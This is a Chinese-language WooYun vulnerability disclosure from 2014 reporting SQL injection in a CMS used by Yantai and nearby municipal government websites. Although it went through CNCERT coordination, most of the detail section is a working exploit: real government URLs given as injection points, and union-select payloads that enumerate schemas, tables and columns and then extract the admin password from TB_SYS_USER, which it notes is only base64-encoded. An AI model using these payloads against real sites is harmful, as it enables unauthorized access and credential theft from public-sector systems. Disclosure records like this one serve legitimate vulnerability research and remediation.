漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-076825
漏洞标题：某市通用CMS SQL注入漏洞
相关厂商：cncert国家互联网应急中心
漏洞作者： 疯狂的dabing
提交时间：2014-09-23 10:53
修复时间：2014-12-22 10:54
公开时间：2014-12-22 10:54
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-09-23： 细节已通知厂商并且等待厂商处理中
2014-09-26： 厂商已经确认，细节仅向厂商公开
2014-09-29： 细节向第三方安全合作伙伴开放
2014-11-20： 细节向核心白帽子及相关领域专家公开
2014-11-30： 细节向普通白帽子公开
2014-12-10： 细节向实习白帽子公开
2014-12-22： 细节向公众公开
简要描述：
这段时间因为一些事情需要关注某市的政府网站，看到一些URL顺手做了测试，发现是jsp+openbase的组合，存在注入漏洞，可以查询详细数据。为扩大战果，google hack一下，发现是该市通用CMS（包括市政府主站）。
科普一下，openBASE是什么？
http://baike.baidu.com/view/1351295.htm
详细说明：
环境是和jsp+openbae。
openbase是什么？
http://baike.baidu.com/view/1351295.htm
是东软开发的一套闭源数据库系统，没有下载没有试用。
注入点，烟台政府主站：
http://www.yantai.gov.cn/cn/content/facility_yt/shzn/guide/index_lb_xs.jsp?id=80504&flags_id=16764
POC：
http://www.yantai.gov.cn/cn/content/facility_yt/shzn/guide/index_lb_xs.jsp?id=80504&flags_id=16764 and 1=2 union select version()
sqlmap可能跑不出来，因为openBASE有着比较特殊的语法，虽然没有手册和说明，不过我们可以黑盒测一下。
最终的测试结果是，openBASE的基本sql语法是融合了mysql和postgresql的语法，使用limit 1和offset 1等方法来遍历，使用information_schema来存储数据库结构。暂未发现具有特殊功能的sql命令（这个比较难猜）。
以http://xxgk.yantai.gov.cn为例，测试如下：
目标：http://xxgk.yantai.gov.cn/index_show.jsp?sid=0604-02-2014-150692&dept_code=DSJ&columncode=DSJXXGKMLZCXWJ
该注入点同时支持post和get型，后边一律以post来说明。
===========
版本号
columncode=DSJXXGKMLZCXWJ' and 1=2 union select version()--
OpenBASE 6.0.0 on i686-pc-linux-gnu，版本号有点长，后边没显示完。
查库
columncode=DSJXXGKMLZCXWJ' and 1=2 union select schema_name from information_schema.schemata limit 1 offset 5--
查表
columncode=DSJXXGKMLZCXWJ' and 1=2 union select table_name from information_schema.tables where table_schema='YTGOV' limit 1 offset 62--
查字段
columncode=DSJXXGKMLZCXWJ' and 1=2 union select column_name from information_schema.columns where table_name='TB_SYS_USER' limit 1 offset 6--
查值
columncode=DSJXXGKMLZCXWJ' and 1=2 union select PASSWORD from TB_SYS_USER where LOGINNAME='ADMIN' limit 1--
密码base64编码，解码即可。
漏洞证明：
涉及网站比较多，简单列举如下：
烟台主站
http://www.yantai.gov.cn/cn/content/facility_yt/shzn/guide/index_lb_xs.jsp?id=80504&flags_id=16764 and 1=2 union select version()
主站第二域名
http://www.yantai.net.cn/cn/content/facility_yt/shzn/guide/index_lb_xs.jsp?id=80504&flags_id=16764 and 1=2 union select version()
烟台信息公开
xxgk.yantai.gov.cn
蓬莱市政府信息公开平台
xxgk.penglai.gov.cn/
长岛县人民政府网
www.changdao.gov.cn
芝罘区政府信息公开平台
xxgk.zhifu.gov.cn
山东栖霞政府门户网站
www.sdqixia.gov.cn
可以猜测是烟台政府自主开发的一套CMS。。。。。
=====
工具化
=====
点到为止，未深入。
修复方案：
专家来。
版权声明：转载请注明来源 疯狂的dabing@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：14
确认时间：2014-09-26 14:56
厂商回复：
最新状态：
暂无